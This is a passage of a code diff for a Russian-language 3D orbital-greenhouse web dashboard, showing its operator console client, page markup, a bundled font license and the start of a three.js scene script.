if (!button.closest('.terminal-tabs')) button.setAttribute('aria-expanded', 'false');
button.addEventListener('click', () => showTerminal(button.dataset.terminal, button));
});
$('#terminal-close').addEventListener('click', hideTerminal);
document.addEventListener('keydown', event => { if (event.key === 'Escape' && !document.querySelector('dialog[open]') && !$('#terminal').hidden && !event.target.closest('#operator-console')) { event.preventDefault(); hideTerminal(); } });
$('#key-form').addEventListener('submit', async event => {
event.preventDefault(); const key = $('#access-key').value.trim(); if (!key || state.selected == null) return;
const stored = saveKey(state.selected, key); $('#access-key').value = '';
if (!stored) toast('Хранилище браузера недоступно: ключ сохранён только на время сеанса.');
await selectPlot(state.selected);
});
setTimeout(() => {
if (!$('#space').dataset.ready) { $('#scene-loading').hidden = true; $('#scene-fallback').hidden = false; }
}, 20000);
refresh();
})();
+136
View File
@@ -0,0 +1,136 @@
'use strict';
(() => {
const $ = selector => document.querySelector(selector);
const pane = $('#operator-console'), output = $('#console-output'), input = $('#console-input');
let session = null, busy = false, unloading = false;
const history = [];
let historyIndex = 0, draft = '';
const stringify = value => typeof value === 'string' ? value : JSON.stringify(value) ?? '';
function lines(value, className = '') {
const nearBottom = output.scrollHeight - output.scrollTop - output.clientHeight < 45;
const values = Array.isArray(value) ? value : [value];
const fragment = document.createDocumentFragment();
for (const item of values) for (const line of stringify(item).slice(0, 131072).split(/\r?\n/).slice(0, 500)) {
const row = document.createElement('div'); row.className = `console-line ${className}`;
row.textContent = line.replace(/\x1b\[[0-?]*[ -/]*[@-~]/g, '').slice(0, 8192) || ' ';
fragment.append(row);
}
output.append(fragment);
while (output.childElementCount > 1000) output.firstElementChild.remove();
if (nearBottom) output.scrollTop = output.scrollHeight;
}
function update(message) {
$('#console-state').textContent = message ?? (session ? 'Подключено' : 'Нет сеанса');
$('#console-indicator').classList.toggle('connected', session !== null);
input.disabled = busy || session === null;
$('#console-send').disabled = busy || session === null;
$('#console-reconnect').disabled = busy;
$('#console-disconnect').disabled = busy || session === null;
$('#console-reconnect').textContent = session ? 'Переподключить' : 'Подключить';
pane.setAttribute('aria-busy', String(busy));
}
function error(message) {
$('#console-error').textContent = message; $('#console-error').hidden = !message;
}
async function request(action, payload) {
const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 15000);
try {
const response = await fetch(`/api/console/${action}`, { method: 'POST', headers: { 'Content-Type': 'application/json', Accept: 'application/json' }, body: JSON.stringify(payload), signal: controller.signal, cache: 'no-store' });
let data; try { data = await response.json(); } catch { const problem = new Error(`Некорректный ответ консоли (HTTP ${response.status}).`); problem.status = response.status; throw problem; }
if (!response.ok) {
const problem = new Error(`HTTP ${response.status}: ${stringify(data?.error ?? data?.message ?? 'запрос отклонён').slice(0, 300)}`);
problem.status = response.status; throw problem;
}
return data;
} catch (problem) {
if (problem.name === 'AbortError') throw new Error('Консоль не ответила за 15 секунд.');
if (problem instanceof TypeError) throw new Error('Нет связи с консолью. Проверьте соединение.');
throw problem;
} finally { clearTimeout(timeout); }
}
async function closeSession() {
if (session === null) return;
try {
const result = await request('close', { session });
if (result?.ok !== true) throw new Error('Сервер не подтвердил закрытие сеанса.');
} catch (problem) {
if (![404, 410].includes(problem.status)) throw problem;
}
session = null; lines('Сеанс закрыт.', 'console-system');
}
async function connect() {
if (busy || unloading) return;
busy = true; error(''); update('Подключение…');
try {
await closeSession();
const data = await request('open', {});
if (data?.session == null || !['string', 'number'].includes(typeof data.session) || String(data.session) === '') throw new Error('Сервер не выдал идентификатор сеанса.');
session = data.session;
if (unloading) { release(); return; }
lines('Соединение установлено.', 'console-system');
if (data.banner != null) lines(data.banner);
} catch (problem) { error(`${problem.message} Автоматического повтора не было.`); }
finally { busy = false; update(); if (session !== null && !pane.hidden) input.focus(); }
}
async function disconnect() {
if (busy || session === null) return;
busy = true; error(''); update('Отключение…');
try { await closeSession(); }
catch (problem) { error(`${problem.message} Сеанс не подтверждён как закрытый; можно повторить отключение.`); }
finally { busy = false; update(); }
}
function show() {
document.body.classList.add('console-open');
pane.hidden = false; pane.dispatchEvent(new Event('greenhouse:raise')); $('#console-launch').setAttribute('aria-expanded', 'true');
if (session !== null && !busy) input.focus(); else $('#console-title').focus();
if (session === null && !busy) connect();
}
function hide() { document.body.classList.remove('console-open'); pane.hidden = true; $('#console-launch').setAttribute('aria-expanded', 'false'); $('#console-launch').focus(); }
$('#console-launch').addEventListener('click', () => pane.hidden ? show() : hide());
$('#console-hide').addEventListener('click', hide);
$('#console-reconnect').addEventListener('click', connect);
$('#console-disconnect').addEventListener('click', disconnect);
$('#console-clear').addEventListener('click', () => { output.replaceChildren(); if (!input.disabled) input.focus(); });
$('#console-form').addEventListener('submit', async event => {
event.preventDefault(); const command = input.value;
if (busy || session === null || !command.trim()) return;
if (command.length > 1024) { error('Команда не должна превышать 1024 символа.'); return; }
const currentSession = session;
busy = true; error(''); update('Выполнение…'); lines(`> ${command}`, 'console-command');
if (history.at(-1) !== command) { history.push(command); if (history.length > 100) history.shift(); }
historyIndex = history.length; draft = ''; input.value = '';
try {
const result = await request('command', { session: currentSession, command });
if (!result || !Object.hasOwn(result, 'reply')) throw new Error('Сервер не передал ответ команды.');
lines(result.reply);
} catch (problem) {
if ([401, 403, 404, 410].includes(problem.status)) { session = null; error(`${problem.message} Сеанс недоступен. Нажмите «Подключить».`); }
else error(`${problem.message} Результат команды не подтверждён. Повторите её вручную только при необходимости.`);
lines('Ответ не получен.', 'console-system');
} finally { busy = false; update(); if (session !== null && !pane.hidden) input.focus(); }
});
input.addEventListener('keydown', event => {
if (event.isComposing) return;
if (event.key === 'ArrowUp' || event.key === 'ArrowDown') {
event.preventDefault();
if (historyIndex === history.length) draft = input.value;
historyIndex = Math.max(0, Math.min(history.length, historyIndex + (event.key === 'ArrowUp' ? -1 : 1)));
input.value = historyIndex === history.length ? draft : history[historyIndex];
input.setSelectionRange(input.value.length, input.value.length);
}
if ((event.ctrlKey || event.metaKey) && event.key.toLowerCase() === 'l') { event.preventDefault(); output.replaceChildren(); }
});
pane.addEventListener('keydown', event => { if (event.key === 'Escape') { event.stopPropagation(); hide(); } });
function release() {
if (session === null) return;
const closing = session; session = null;
fetch('/api/console/close', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ session: closing }), keepalive: true }).catch(() => {});
}
addEventListener('pagehide', () => { unloading = true; release(); });
addEventListener('pageshow', event => { if (event.persisted) { unloading = false; busy = false; update(); } });
update();
})();
@@ -0,0 +1,93 @@
Copyright 2022–2024 Helena Zhang (helenazhang.com).
This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is copied below, and is also available with a FAQ at:
https://openfontlicense.org
-----------------------------------------------------------
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
-----------------------------------------------------------
PREAMBLE
The goals of the Open Font License (OFL) are to stimulate worldwide
development of collaborative font projects, to support the font creation
efforts of academic and linguistic communities, and to provide a free and
open framework in which fonts may be shared and improved in partnership
with others.
The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves. The
fonts, including any derivative works, can be bundled, embedded,
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply
to any document created using the fonts or their derivatives.
DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such. This may
include source files, build scripts and documentation.
"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).
"Original Version" refers to the collection of Font Software components as
distributed by the Copyright Holder(s).
"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to a
new environment.
"Author" refers to any designer, engineer, programmer, technical
writer or other person who contributed to the Font Software.
PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:
1) Neither the Font Software nor any of its individual components,
in Original or Modified Versions, may be sold by itself.
2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.
3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the corresponding
Copyright Holder. This restriction only applies to the primary font name as
presented to the users.
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.
5) The Font Software, modified or unmodified, in part or in whole,
must be distributed entirely under this license, and must not be
distributed under any other license. The requirement for fonts to
remain under this license does not apply to any document created
using the Font Software.
TERMINATION
This license becomes null and void if any of the above conditions are
not met.
DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.
+4
View File
@@ -0,0 +1,4 @@
Departure Mono 1.500, unmodified WOFF2 from the official release.
Source: https://github.com/rektdeckard/departure-mono/releases/download/v1.500/DepartureMono-1.500.zip
License: SIL Open Font License 1.1; see DepartureMono-OFL.txt.
DepartureMono-Regular.woff2 SHA256 5b4fed1daa90708aa9c6ee1190abca9dc22164a1c1def0020386e46b61038cfb
+37
View File
@@ -0,0 +1,37 @@
<!doctype html>
<html lang="ru">
<head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,viewport-fit=cover"><meta name="theme-color" content="#030b12">
<title>Оранжерея / Орбита.Квантум 2126</title><link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 64 64'%3E%3Cpath fill='%239aead2' d='M32 3 59 18v28L32 61 5 46V18zm0 8L12 23v19l20 11 20-11V23z'/%3E%3C/svg%3E">
<link rel="stylesheet" href="./styles.css">
<script type="importmap">{"imports":{"three":"./vendor/three/three.module.min.js","three/addons/controls/OrbitControls.js":"./vendor/three/OrbitControls.js"}}</script>
<script src="./app.js" defer></script><script src="./console.js" defer></script><script src="./window-drag.js" defer></script><script type="module" src="./scene.js"></script>
</head>
<body>
<a href="#terminal-launch" class="skip">К управлению оранжереей</a>
<main id="observatory" aria-label="Орбитальная оранжерея">
<canvas id="space" tabindex="0" aria-label="Трёхмерная орбитальная оранжерея. Перетаскивайте для осмотра. Стрелки вращают камеру, плюс и минус меняют масштаб, Home возвращает вид. I или двойной щелчок открывает внутренний ракурс. Enter осматривает предмет в центре вида. Shift и перетаскивание смещают камеру."></canvas>
<div class="vignette" aria-hidden="true"></div>
<div id="scene-loading" role="status"><span class="loading-orbit" aria-hidden="true"></span><span>Загрузка 3D-модели</span><small>Инструменты оператора доступны во время загрузки.</small></div>
<div id="scene-fallback" hidden role="status"><strong>3D недоступно</strong><p>Устройство не поддерживает WebGL 2. Работа с участками и консолью доступна.</p><button class="button primary" data-terminal="plots">Открыть терминал</button></div>
<nav class="command-dock" aria-label="Инструменты оператора"><button id="terminal-launch" data-terminal="plots"><span class="dock-label">Данные</span><span class="dock-end"><small id="nav-count">—</small><span aria-hidden="true">↗</span></span></button><button id="console-launch" aria-expanded="false" aria-controls="operator-console"><span class="dock-label">Консоль <span id="console-indicator" aria-hidden="true"></span></span><span class="dock-end" aria-hidden="true">↗</span></button></nav>
<div class="operator-rail"><section class="vitals" aria-label="Состояние оранжереи"><div class="vitals-heading"><span>СОСТОЯНИЕ ОРАНЖЕРЕИ</span><strong id="metric-status">Загрузка</strong></div><div class="vital-line"><span>O₂ / кислород</span><strong id="metric-oxygen">—</strong></div><div class="vital-line"><span>T° / воздух</span><strong id="metric-temperature">—</strong></div><div class="vital-line"><span>Участки</span><strong id="metric-plots">—</strong></div><small id="last-update">Нет данных</small></section></div>
<div class="camera-controls" role="group" aria-label="Камера и анимация"><button id="camera-zoom-in" aria-label="Приблизить">+</button><button id="camera-zoom-out" aria-label="Отдалить">−</button><button id="motion-toggle" aria-pressed="false">Пауза</button></div>
<div id="object-hint" role="status" hidden></div>
<aside id="terminal" class="terminal" hidden aria-labelledby="terminal-title"><div class="terminal-header" tabindex="0" aria-label="Переместить окно данных"><div><span class="eyebrow">ДАННЫЕ ОРАНЖЕРЕИ</span><h2 id="terminal-title" tabindex="-1">Участки</h2></div><button id="terminal-close" class="close" aria-label="Закрыть терминал">×</button></div><div class="terminal-tabs" role="group" aria-label="Раздел терминала"><button data-terminal="plots" aria-pressed="true">Участки <span id="plot-count">—</span></button><button data-terminal="telemetry" aria-pressed="false">Телеметрия</button><button data-terminal="archive" aria-pressed="false">Архив</button></div><div class="terminal-toolbar"><span id="selected-label">Участок не выбран</span><button id="refresh" class="text-button">↻ Обновить</button></div><div class="terminal-body"><section id="plots" data-panel="plots"><div class="section-heading"><span class="eyebrow">РЕЕСТР ПОСАДОК</span><button id="open-create" class="button">Новый участок ↗</button></div><label class="search"><span aria-hidden="true">⌕</span><input id="plot-search" type="search" aria-label="Найти участок" placeholder="Поиск участка / культуры"></label><div id="plot-list" class="plot-list" aria-live="polite"><p class="empty">Получаем реестр…</p></div><div class="section-divider"><span>Паспорт участка</span><span>↓</span></div><article id="plot-detail" aria-live="polite"><p class="empty">Выберите участок для чтения паспорта и заметок.</p></article><form id="key-form" hidden><label for="access-key">Ключ доступа к выбранному участку</label><div class="key-row"><input id="access-key" type="password" autocomplete="off" required placeholder="Вставьте выданный ключ"><button type="submit" class="button">Открыть</button></div><p class="form-error" role="alert"></p></form></section><section id="telemetry" data-panel="telemetry" hidden><div class="section-heading"><span class="eyebrow">Показания</span><button id="open-telemetry" class="button" disabled>+ Запись</button></div><div id="telemetry-content" class="records" aria-live="polite"><p class="empty">Выберите участок в реестре.</p></div></section><section id="archive" data-panel="archive" hidden><div class="eyebrow">Архив участка</div><div id="archive-content" class="records" aria-live="polite"><p class="empty">Выберите участок в реестре.</p></div></section></div></aside>
<section id="operator-console" class="operator-console" hidden aria-labelledby="console-title">
<div class="console-titlebar" tabindex="0" aria-label="Переместить окно консоли"><h2 id="console-title" tabindex="-1">Консоль</h2><span id="console-state" role="status">Нет сеанса</span><button id="console-hide" class="close" aria-label="Скрыть консоль">×</button></div>
<div class="console-tools"><button id="console-reconnect">Подключить</button><button id="console-disconnect" disabled>Отключить</button><button id="console-clear">Очистить вывод</button></div>
<div id="console-output" class="console-output" role="log" aria-label="Вывод консоли" aria-live="polite" aria-relevant="additions" tabindex="0"></div>
<p id="console-error" class="console-error" role="alert" hidden></p>
<form id="console-form" autocomplete="off"><label for="console-input">Команда</label><div class="console-input-row"><span aria-hidden="true">&gt;</span><input id="console-input" type="text" spellcheck="false" autocapitalize="off" autocomplete="off" maxlength="1024" aria-describedby="console-help" disabled><button id="console-send" type="submit" disabled>Выполнить</button></div></form>
<div class="console-footer" id="console-help">Enter — выполнить · ↑ ↓ — история · Ctrl+L — очистить</div>
</section>
<div id="global-error" class="notice" role="alert" hidden></div>
</main>
<dialog id="create-dialog" aria-labelledby="create-title"><form id="create-form"><div class="dialog-heading"><span class="eyebrow">Регистрация участка</span><button type="button" class="close" data-close aria-label="Закрыть">×</button></div><h2 id="create-title">Новый участок</h2><p>Название и культура обязательны. Ключ доступа сохранится в этом браузере.</p><label>Название участка<input name="name" required maxlength="160" placeholder="Например, Грядка 04" autocomplete="off"></label><label>Культура<input name="cultivar" required maxlength="160" placeholder="Например, базилик" autocomplete="off"></label><label>Заметка<textarea name="note" rows="3" maxlength="4000" placeholder="Условия выращивания и ваши наблюдения"></textarea></label><p class="form-error" role="alert"></p><button class="button primary" type="submit">Создать участок</button></form></dialog>
<dialog id="telemetry-dialog" aria-labelledby="telemetry-form-title"><form id="telemetry-form"><div class="dialog-heading"><span class="eyebrow">Телеметрия</span><button type="button" class="close" data-close aria-label="Закрыть">×</button></div><h2 id="telemetry-form-title">Запись телеметрии</h2><p id="telemetry-plot-name"></p><label>Тип измерения<select name="kind" required><option value="temperature">Температура / temperature</option><option value="humidity">Влажность / humidity</option><option value="oxygen">Кислород / oxygen</option><option value="biometrics">Биометрия / biometrics</option></select></label><label>Значение<input name="value" type="number" step="any" required placeholder="23.5"></label><p class="form-error" role="alert"></p><button class="button primary" type="submit">Сохранить показание</button></form></dialog>
<div class="toast" id="toast" role="status" hidden></div>
<noscript><div class="noscript-message">Для 3D-сцены и API включите JavaScript в браузере.</div></noscript>
</body></html>
+554
View File
@@ -0,0 +1,554 @@
import * as THREE from 'three';
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
const canvas = document.querySelector('#space');
const loading = document.querySelector('#scene-loading');
const fallback = document.querySelector('#scene-fallback');
const motionButton = document.querySelector('#motion-toggle');
const reducedMotion = matchMedia('(prefers-reduced-motion: reduce)');
let renderer;
try {
renderer = new THREE.WebGLRenderer({ canvas, antialias: false, alpha: false, powerPreference: 'high-performance' });
} catch {
loading.hidden = true;
fallback.hidden = false;
document.querySelectorAll('.camera-controls button').forEach(button => { button.disabled = true; });
}
if (renderer) {
const boot = () => setTimeout(initialize, 100);
if (document.readyState === 'complete') boot();
else window.addEventListener('load', boot, { once: true });
}
function initialize() {
const mobile = () => innerWidth < 701;
const gl = renderer.getContext();
const debug = gl.getExtension('WEBGL_debug_renderer_info');
const gpu = debug ? gl.getParameter(debug.UNMASKED_RENDERER_WEBGL) : '';
const software = /swiftshader|llvmpipe|software|softpipe/i.test(gpu);
const pixelRatio = () => software ? .8 : Math.min(devicePixelRatio, mobile() ? 1.2 : 1.5);
renderer.setPixelRatio(pixelRatio());
renderer.setSize(innerWidth, innerHeight, false);
renderer.outputColorSpace = THREE.SRGBColorSpace;
renderer.toneMapping = THREE.ACESFilmicToneMapping;
renderer.toneMappingExposure = 1.18;
renderer.shadowMap.enabled = !software;
renderer.shadowMap.type = software ? THREE.PCFShadowMap : THREE.PCFSoftShadowMap;
renderer.shadowMap.autoUpdate = false;
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(mobile() ? 50 : 39, innerWidth / innerHeight, .1, 350);
const controls = new OrbitControls(camera, canvas);
controls.enablePan = true;
controls.screenSpacePanning = true;
controls.maxTargetRadius = 4;
controls.enableDamping = !reducedMotion.matches;
controls.dampingFactor = .065;
controls.minPolarAngle = .22;
controls.maxPolarAngle = Math.PI * .61;
controls.minDistance = 2.4;
controls.maxDistance = 48;
controls.rotateSpeed = .5;
controls.zoomSpeed = .65;
controls.target.set(0, .9, 0);
let paused = reducedMotion.matches;
let elapsed = 0;
let previous = 0;
let lastPaint = 0;
let paintCount = 0;
let gpuFence = null;
const frameInterval = 1000 / (software ? 24 : 30);
let frame = 0;
let interacting = false;
let hidden = document.hidden;
let contextLost = false;
const station = new THREE.Group(); scene.add(station);
station.rotation.y = -.2;
let seed = 212607;
const random = () => { seed = (seed * 1664525 + 1013904223) >>> 0; return seed / 4294967296; };
function material(color, metalness = .6, roughness = .4, emissive = 0, emissiveIntensity = 0) {
return software ? new THREE.MeshPhongMaterial({ color, shininess: (1 - roughness) * 50, specular: 0x40505a, emissive, emissiveIntensity }) : new THREE.MeshStandardMaterial({ color, metalness, roughness, emissive, emissiveIntensity });
}
const titanium = material(0x799398, .8, .3);
const darkMetal = material(0x162b36, .8, .38);
const ceramic = material(0xa9bbb4, .5, .36);
const gold = material(0xb49a64, .72, .36);
const black = material(0x0a141c, .55, .52);
const mint = material(0x82ffcf, .2, .25, 0x67ffc1, 3);
const amber = material(0xffc473, .2, .3, 0xffa94f, 2.8);
const blue = material(0x97d9ff, .2, .25, 0x54baff, 2);
const mesh = (geo, mat, parent = station, position = [0, 0, 0]) => {
const object = new THREE.Mesh(geo, mat); object.position.set(...position); parent.add(object);
object.castShadow = true; object.receiveShadow = true; return object;
};
const box = (size, mat, parent, position) => mesh(new THREE.BoxGeometry(...size), mat, parent, position);
const cylinder = (top, bottom, height, mat, parent, position, segments = 48) => mesh(new THREE.CylinderGeometry(top, bottom, height, segments), mat, parent, position);
function torus(radius, tube, mat, parent = station, y = 0, arc = Math.PI * 2) {
const object = mesh(new THREE.TorusGeometry(radius, tube, 6, 96, arc), mat, parent, [0, y, 0]); object.rotation.x = Math.PI / 2; return object;
}
function beam(start, end, thickness, mat, parent = station) {
const a = new THREE.Vector3(...start), b = new THREE.Vector3(...end), direction = b.clone().sub(a);
const object = mesh(new THREE.CylinderGeometry(thickness, thickness, direction.length(), 6), mat, parent);
object.position.copy(a.add(b).multiplyScalar(.5)); object.quaternion.setFromUnitVectors(new THREE.Vector3(0, 1, 0), direction.normalize()); return object;
}
function glowTexture() {
const c = document.createElement('canvas'); c.width = c.height = 128;
const ctx = c.getContext('2d'), gradient = ctx.createRadialGradient(64, 64, 0, 64, 64, 64);
gradient.addColorStop(0, 'rgba(255,255,255,1)'); gradient.addColorStop(.07, 'rgba(230,255,249,.85)'); gradient.addColorStop(.23, 'rgba(140,233,217,.22)'); gradient.addColorStop(1, 'rgba(90,170,190,0)');
ctx.fillStyle = gradient; ctx.fillRect(0, 0, 128, 128);
return new THREE.CanvasTexture(c);
}
const glowMap = glowTexture();
function glow(parent, position, color, size, opacity = .7) {
const object = new THREE.Sprite(new THREE.SpriteMaterial({ map: glowMap, color, transparent: true, opacity, blending: THREE.AdditiveBlending, depthWrite: false }));
object.position.set(...position); object.scale.setScalar(size); parent.add(object); return object;
}
scene.add(new THREE.HemisphereLight(0x94cfdf, 0x1e3335, 1.5));
const sun = new THREE.DirectionalLight(0xffe3ad, 4.8); sun.position.set(-8, 13, 7); sun.castShadow = true;
sun.shadow.mapSize.set(software || mobile() ? 512 : 1024, software || mobile() ? 512 : 1024); sun.shadow.camera.left = -10; sun.shadow.camera.right = 10; sun.shadow.camera.top = 10; sun.shadow.camera.bottom = -10; sun.shadow.camera.far = 55; sun.shadow.normalBias = .025; sun.shadow.bias = -.0002; scene.add(sun);
const rim = new THREE.DirectionalLight(0x60c7fa, 3.5); rim.position.set(6, 4, -9); scene.add(rim);
const underlight = new THREE.PointLight(0x31dfc6, 35, 18, 2); underlight.position.set(0, -3, 2); scene.add(underlight);
const backgroundSeed = seed;
const skyCanvas = document.createElement('canvas'); skyCanvas.width = 2048; skyCanvas.height = 1024;
const skyContext = skyCanvas.getContext('2d'); skyContext.scale(2, 2); skyContext.fillStyle = '#030914'; skyContext.fillRect(0, 0, 1024, 512);
for (let i = 0; i < 60; i++) {
const x = random() * 1024, y = 180 + Math.sin(x * .007) * 90 + random() * 100, r = 50 + random() * 170;
const gradient = skyContext.createRadialGradient(x, y, 0, x, y, r);
gradient.addColorStop(0, i % 3 ? 'rgba(20,66,70,.15)' : 'rgba(46,33,74,.12)'); gradient.addColorStop(1, 'rgba(0,0,0,0)');
skyContext.fillStyle = gradient; skyContext.fillRect(x-r, y-r, r*2, r*2);
}
skyContext.setTransform(1, 0, 0, 1, 0, 0);
for (let i = 0; i < 2800; i++) {
const x = random() * 2048, y = (Math.asin(random()*2-1)/Math.PI+.5) * 1024;
const radius = .45 + random()*.38, opacity = .25 + random()*.55;
skyContext.fillStyle = `rgba(193,210,226,${opacity})`;
skyContext.beginPath(); skyContext.arc(x,y,radius,0,Math.PI*2); skyContext.fill();
if (i % 55 === 0) {
const halo=skyContext.createRadialGradient(x,y,0,x,y,4.5);
halo.addColorStop(0,'rgba(215,231,242,.72)'); halo.addColorStop(.22,'rgba(155,184,211,.17)'); halo.addColorStop(1,'rgba(130,160,190,0)');
skyContext.fillStyle=halo;skyContext.fillRect(x-4.5,y-4.5,9,9);
}
}
const skyTexture = new THREE.CanvasTexture(skyCanvas); skyTexture.colorSpace = THREE.SRGBColorSpace;
skyTexture.magFilter = THREE.LinearFilter; skyTexture.minFilter = THREE.LinearMipmapLinearFilter; skyTexture.generateMipmaps = true;
const skyMaterial = new THREE.MeshBasicMaterial({ map: skyTexture, side: THREE.BackSide, depthWrite: false, toneMapped: false });
const sky = mesh(new THREE.SphereGeometry(140, 32, 20), skyMaterial, scene); sky.castShadow = false; sky.receiveShadow = false; sky.renderOrder = -10;
const planetCanvas=document.createElement('canvas');planetCanvas.width=1024;planetCanvas.height=512;
const pc=planetCanvas.getContext('2d');pc.fillStyle='#173a50';pc.fillRect(0,0,1024,512);
const elevationCanvas=document.createElement('canvas');elevationCanvas.width=1024;elevationCanvas.height=512;
const elevation=elevationCanvas.getContext('2d');elevation.fillStyle='#151515';elevation.fillRect(0,0,1024,512);
for(let i=0;i<26;i++){
const cx=random()*1024,cy=50+random()*412,rx=30+random()*95,ry=18+random()*52,phase=random()*6.28;
const outline=new Path2D();
for(let j=0;j<=54;j++){const a=j/54*Math.PI*2;const r=1+.2*Math.sin(a*3+phase)+.12*Math.cos(a*7-phase);const x=cx+Math.cos(a)*rx*r,y=cy+Math.sin(a)*ry*r;j?outline.lineTo(x,y):outline.moveTo(x,y);}outline.closePath();
pc.strokeStyle='#355e64';pc.lineWidth=8;pc.stroke(outline);
const land=pc.createLinearGradient(cx-rx,cy-ry,cx+rx,cy+ry);land.addColorStop(0,'#748273');land.addColorStop(.5,'#465f55');land.addColorStop(1,'#263f40');pc.fillStyle=land;pc.fill(outline);
elevation.fillStyle='#929292';elevation.fill(outline);
for(let j=0;j<6;j++){pc.save();pc.clip(outline);pc.beginPath();pc.moveTo(cx-rx,cy+j*4-14);pc.bezierCurveTo(cx-rx*.4,cy-ry*.5+j*4,cx+rx*.3,cy+ry*.4+j*2,cx+rx,cy+j*3);pc.strokeStyle='rgba(183,179,151,.15)';pc.lineWidth=1.5;pc.stroke();pc.restore();}
}
const polar=pc.createLinearGradient(0,0,0,512);polar.addColorStop(0,'rgba(173,196,194,.8)');polar.addColorStop(.1,'rgba(173,196,194,0)');polar.addColorStop(.9,'rgba(173,196,194,0)');polar.addColorStop(1,'rgba(173,196,194,.65)');pc.fillStyle=polar;pc.fillRect(0,0,1024,512);
const planetTexture=new THREE.CanvasTexture(planetCanvas);planetTexture.colorSpace=THREE.SRGBColorSpace;
const reliefTexture=new THREE.CanvasTexture(elevationCanvas);
const planetMaterial=new THREE.MeshPhongMaterial({map:planetTexture,color:0xacc5ce,emissive:0x416071,emissiveMap:planetTexture,emissiveIntensity:.3,bumpMap:reliefTexture,bumpScale:.085,shininess:12,specular:0x294452});
const planet=mesh(new THREE.SphereGeometry(17,48,32),planetMaterial,scene,[21,-15,-43]);planet.castShadow=false;planet.receiveShadow=false;
const cloudCanvas=document.createElement('canvas');cloudCanvas.width=1024;cloudCanvas.height=512;
const cc=cloudCanvas.getContext('2d');
for(let i=0;i<230;i++){
const x=random()*1024,y=random()*512,len=12+random()*100;
cc.beginPath();cc.moveTo(x,y);cc.bezierCurveTo(x+len*.3,y-15,x+len*.65,y+19,x+len,y-3);
cc.strokeStyle=`rgba(203,219,221,${.06+random()*.25})`;cc.lineWidth=1+random()*6;cc.lineCap='round';cc.stroke();
}
const cloudTexture=new THREE.CanvasTexture(cloudCanvas);cloudTexture.colorSpace=THREE.SRGBColorSpace;
const clouds=mesh(new THREE.SphereGeometry(17.1,48,32),new THREE.MeshLambertMaterial({map:cloudTexture,transparent:true,opacity:.6,depthWrite:false}),scene,[21,-15,-43]);clouds.castShadow=false;clouds.receiveShadow=false;
const atmosphereMaterial = new THREE.ShaderMaterial({ transparent: true, side: THREE.BackSide, blending: THREE.AdditiveBlending, depthWrite: false,
vertexShader: `varying vec3 n;varying vec3 v;void main(){vec4 p=modelViewMatrix*vec4(position,1.);n=normalize(normalMatrix*normal);v=normalize(-p.xyz);gl_Position=projectionMatrix*p;}`,
fragmentShader: `varying vec3 n;varying vec3 v;void main(){float rim=pow(1.-abs(dot(normalize(n),normalize(v))),4.);gl_FragColor=vec4(.08,.46,.62,rim*.52);}` });
const atmosphere = mesh(new THREE.SphereGeometry(17.22, 48, 32), atmosphereMaterial, scene, [21, -15, -43]); atmosphere.castShadow = false;
seed = backgroundSeed;
for (let i=0;i<15688;i++) random();
cylinder(4.55, 4.08, .55, darkMetal, station, [0, -.25, 0]);
cylinder(4.58, 4.58, .14, ceramic, station, [0, .095, 0]);
cylinder(4.05, 3.45, .42, titanium, station, [0, -.73, 0]);
cylinder(2.75, 2.05, .55, darkMetal, station, [0, -1.15, 0]);
torus(4.48, .045, mint, station, -.13); torus(4.13, .06, gold, station, -.61); torus(3.5, .035, blue, station, -.92);
cylinder(4.33, 4.33, .08, black, station, [0, .23, 0]);
const flooring = material(0x617973, .4, .65);
cylinder(4.2, 4.2, .07, flooring, station, [0, .3, 0]);
torus(4.24, .035, mint, station, .34);
for (let i = 0; i < 64; i++) {
const angle = i / 64 * Math.PI * 2;
const rib = box([.12, .34, .17], i % 8 ? titanium : gold, station, [Math.cos(angle) * 4.35, -.37, Math.sin(angle) * 4.35]); rib.rotation.y = -angle;
if (i % 4 === 0) { const light = box([.25, .09, .065], i % 8 ? amber : mint, station, [Math.cos(angle) * 4.53, -.23, Math.sin(angle) * 4.53]); light.rotation.y = -angle + Math.PI / 2; }
}
for (let i = 0; i < 6; i++) {
const a = i * Math.PI / 3;
